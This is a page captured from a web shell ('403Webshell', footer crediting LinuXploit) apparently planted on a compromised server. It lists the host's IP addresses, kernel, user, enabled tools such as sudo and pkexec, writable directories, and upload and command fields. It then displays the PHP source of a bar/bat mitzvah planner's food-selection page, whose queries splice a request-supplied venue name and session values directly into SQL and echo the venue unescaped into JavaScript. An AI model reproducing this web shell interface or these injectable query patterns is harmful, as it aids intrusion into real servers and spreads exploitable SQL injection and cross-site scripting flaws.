403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/planner/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/planner/mod/food.php
<?php include('_mod_security.php'); ?>
<?php
	// *** venue ***
	$sql = "SELECT * FROM events WHERE user_id = ".$_SESSION['user_id']."  AND id = ".$_SESSION['active_event']." ";
	$result_event = mysqli_query($GLOBALS['con'], $sql);
	$num_venues = 0;
	if (mysqli_num_rows($result_event) > 0) :
		$row_event = mysqli_fetch_object($result_event);
		if (!empty($row_event->temple_name)) :
			$ar_venue['temple'] = venue_decode('temple');
		endif;
		if (!empty($row_event->av_name)) :
			$ar_venue['av'] = venue_decode('av');
		endif;
		if (!empty($row_event->kv_name)) :
			$ar_venue['kv'] = venue_decode('kv');
		endif;
		if (!empty($row_event->bv_name)) :
			$ar_venue['bv'] = venue_decode('bv');
		endif;
		if (!empty($row_event->dv_name)) :
			$ar_venue['dv'] = venue_decode('dv');
		endif;
		$current_venue_name = reset($ar_venue);
		$current_venue = key($ar_venue);
		if (!empty($_GET['venue'])) :
			$current_venue = $_GET['venue'];
		endif;
		$current_venue = mysqli_real_escape_string($GLOBALS['con'], trim($current_venue));
		$ar_food_choices = array_map('trim', (array)explode(',', $row_event->{$current_venue.'_food'}));
	endif;
	// *** Guests ***
	$sql = "SELECT g.*, t.table_no, t.table_desc, IF(g.guest_type = 'P',0,1) AS sort_type, IF(g.guest_type = 'P',g.id,g.primary_guest_id) AS sort_id  FROM guests g INNER JOIN tables t ON (g.table_".$current_venue." = t.id) WHERE g.guest_type <> 'G' AND g.invite_".$current_venue." = 1 AND g.rsvp_".$current_venue." = 1 AND g.user_id = ".$_SESSION['user_id']."  AND g.event_id = ".$_SESSION['active_event']." ";
	$sql = "SELECT DISTINCT g.*, t.table_no, t.table_desc, IF(g.guest_type = 'P',0,1) AS sort_type, IF(g.guest_type = 'P' OR g.primary_guest_id = 0,last_name,(SELECT g2.last_name from guests g2 WHERE g2.id = g.primary_guest_id)) AS sort_name ".
				"FROM events e INNER JOIN guests g ON (e.id = g.event_id AND e.user_id = g.user_id) LEFT OUTER JOIN tables t ON (g.table_".$current_venue." = t.id)  WHERE g.guest_type <> 'G' AND g.invite_".$current_venue." = 1 AND g.rsvp_".$current_venue." = 1 AND g.user_id = ".$_SESSION['user_id']." AND g.event_id = ".$_SESSION['active_event']."  ".
	$search_parm = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['strSearch']));
	if ($search_parm != '') :
		$sql = $sql." AND ".search_sql($_POST['strSearch'],'last_name,first_name')." ";
	endif;
	$sql = $sql." ORDER BY sort_name ASC, sort_type ASC, g.last_name ASC";
	//echo '==='.$sql.'===';
	$result = mysqli_query($GLOBALS['con'], $sql);
	$xls_sql = "SELECT DISTINCT g.guest_type, g.salutation, g.first_name, g.last_name, g.suffix, g.food_".$current_venue." AS food_choice, g.food_".$current_venue."_comment AS food_comment, g.table_".$current_venue." AS table_no, t.table_desc, ".$current_venue."_rename AS event ".
				", IF(g.guest_type = 'P',0,1) AS sort_type, IF(g.guest_type = 'P' OR g.primary_guest_id = 0,last_name,(SELECT g2.last_name from guests g2 WHERE g2.id = g.primary_guest_id)) AS sort_name ".
				"FROM events e INNER JOIN guests g ON (e.id = g.event_id AND e.user_id = g.user_id) LEFT OUTER JOIN tables t ON (g.table_".$current_venue." = t.id)  WHERE g.guest_type <> 'G' AND g.invite_".$current_venue." = 1 AND g.rsvp_".$current_venue." = 1 AND g.user_id = ".$_SESSION['user_id']." AND g.event_id = ".$_SESSION['active_event']."  ".
				//"ORDER BY sort_name ASC, sort_type ASC g.last_name ASC";
				"ORDER BY sort_name ASC, sort_type ASC, g.last_name ASC";
	$ix_list = "food&venue=".$current_venue;
	$ix_form = "guest_form&ref=food";
	$vert_text_size = 10;
?>
<script>
	
	update_food = function(gid, field)
	{
		//alert($('#' + field + '_' + gid).val());
		$('#ajax_update').load('ajax.php?call=food_update&venue=<?php echo $current_venue; ?>&gid=' + gid + '&field=' + field + 
				'&text=' + encodeURIComponent($('#' + field + '_' + gid).val()), 
				function() 
				{
				} );
	}
	

	$(document).ready(function()	
	{
	})
	
	// ****** Prepare popup form settings *****
	var win_page = 'page_form.php';
	var win_width = 600;
	var win_height = 400;
	var print_section = 'div_db_grid';
</script>

<h1>Food Selection Worksheet</h1>

<?php
	if (empty($_SESSION['active_event'])) :
?>
		<h3>No Bar/Bat Mitzvah defined - please create or activate a Bar/Bat Mitzvah!</h3>
<?php
	endif;
?>
<?php get_reports('food_by_venue'); ?>
<?php get_notes(); ?>
<?php get_help_guide('help_food'); ?>

<div class="form_message">
	<?php
		$i = 0;
		foreach($ar_venue as $key=>$value) :
			$i = $i + 1;
			$checked = '';
			if ($key == $current_venue) :
				$checked = 'checked="checked"';
			endif;
	?>
				<span style="color:#000000;">
				<input type="radio" name="venue" id="venue_<?php echo $key; ?>" <?php echo $checked; ?> onclick="window.location.href = 'index.php?IX=food&venue=<?php echo $key; ?>'"  /><?php echo $value; ?>&nbsp;&nbsp;
				</span>
	<?php
		endforeach;
		if ($i <= 0) :
	?>
			No venues currently defined.  Please define at least one venue for the party <a href="index.php?IX=event_form&id=<?php echo $_SESSION['active_event']; ?>">here</a>.
	<?php
			return;
		endif;
	?>
</div>
<h4>
	To define food choices, please edit your event venue, or click <a href="index.php?IX=event_form&id=<?php echo $_SESSION['active_event']; ?>&tab=<?php echo $current_venue; ?>">here</a>.
</h4>
<?php include('mod/_db_navigator_bar.php'); ?>

<div id="ajax_update" style="width:300px; height:300px; display:none;">
</div>

<div class="db-grid" id="div_db_grid">

	<table id="db_grid_main" class="dbgrid" align="center" cellpadding="0" cellspacing="1" border="0" >
		<thead>
			<tr>
				<td align="center" class="data-grid-label vert_cell" width="175">
					Name
				</td>
				<td align="center" class="data-grid-label vert_cell">
					Table No
				</td>
				<td align="center" class="data-grid-label vert_cell" width="175">
					Table Description
				</td>
				<td align="center" class="data-grid-label vert_cell" width="225">
					Food Choice
				</td>
				<td align="center" class="data-grid-label vert_cell" width="225">
					Comment
				</td>
			</tr>
		</thead>
		<tbody>
			<?php
				$primary_guest_id = 0;
				while($row = mysqli_fetch_object($result)) :
			?>
					<tr>
						<td class="data-grid-var" style="min-width:140px;" >
							<?php
								$guest_group = '';
								if ($row->guest_type != 'P' && !($row->guest_type == 'C' && $row->primary_guest_id == 0 )) :
									echo '&nbsp;&nbsp;&nbsp;';
									$guest_group = 'guest_group="guest_group_'.$primary_guest_id.'"';
								else :
									$primary_guest_id = $row->id;
								endif;
								$extra_class = '';
								if ($row->guest_type == 'C') :
									$extra_class = ' italic ';
								endif;
							?>
							<a href="index.php?IX=guest_form&id=<?php echo $row->id; ?>&ref=placecards" class="<?php echo $extra_class; ?>" >
								<?php echo format_guest_name_string($row->salutation, $row->first_name, $row->last_name, $row->suffix); ?>
							</a>
						</td>
						<td class="data-grid-var" align="right">
							<?php echo $row->table_no; ?>
						</td>
						<td class="data-grid-var" align="left" >
							<div style="max-width:175px; white-space:nowrap; overflow:hidden; text-overflow:clip;">
								<?php echo $row->table_desc; ?>
							</div>
						</td>
						<td class="data-grid-var" align="left">
							<?php 
								auto_complete('food_'.$row->id, $row->{'food_'.$current_venue}, $row->{'food_'.$current_venue}, "", false, 225, null, null, 'update_food('.$row->id.', \'food\');', $ar_food_choices); 
							?>
						</td>
						<td class="data-grid-var" align="left">
							<input name="food_comment_<?php echo $row->id; ?>" id="food_comment_<?php echo $row->id; ?>" type="text" value="<?php echo $row->{'food_'.$current_venue.'_comment'}; ?>" maxlength="75" style="width:225px; font-size:12px;" onchange="update_food(<?php echo $row->id; ?>, 'food_comment');" />
						</td>
					</tr>
			<?php
				endwhile;
			?>
		</tbody>
	</table>

</div>


Youez - 2016 - github.com/yon3zu
LinuXploit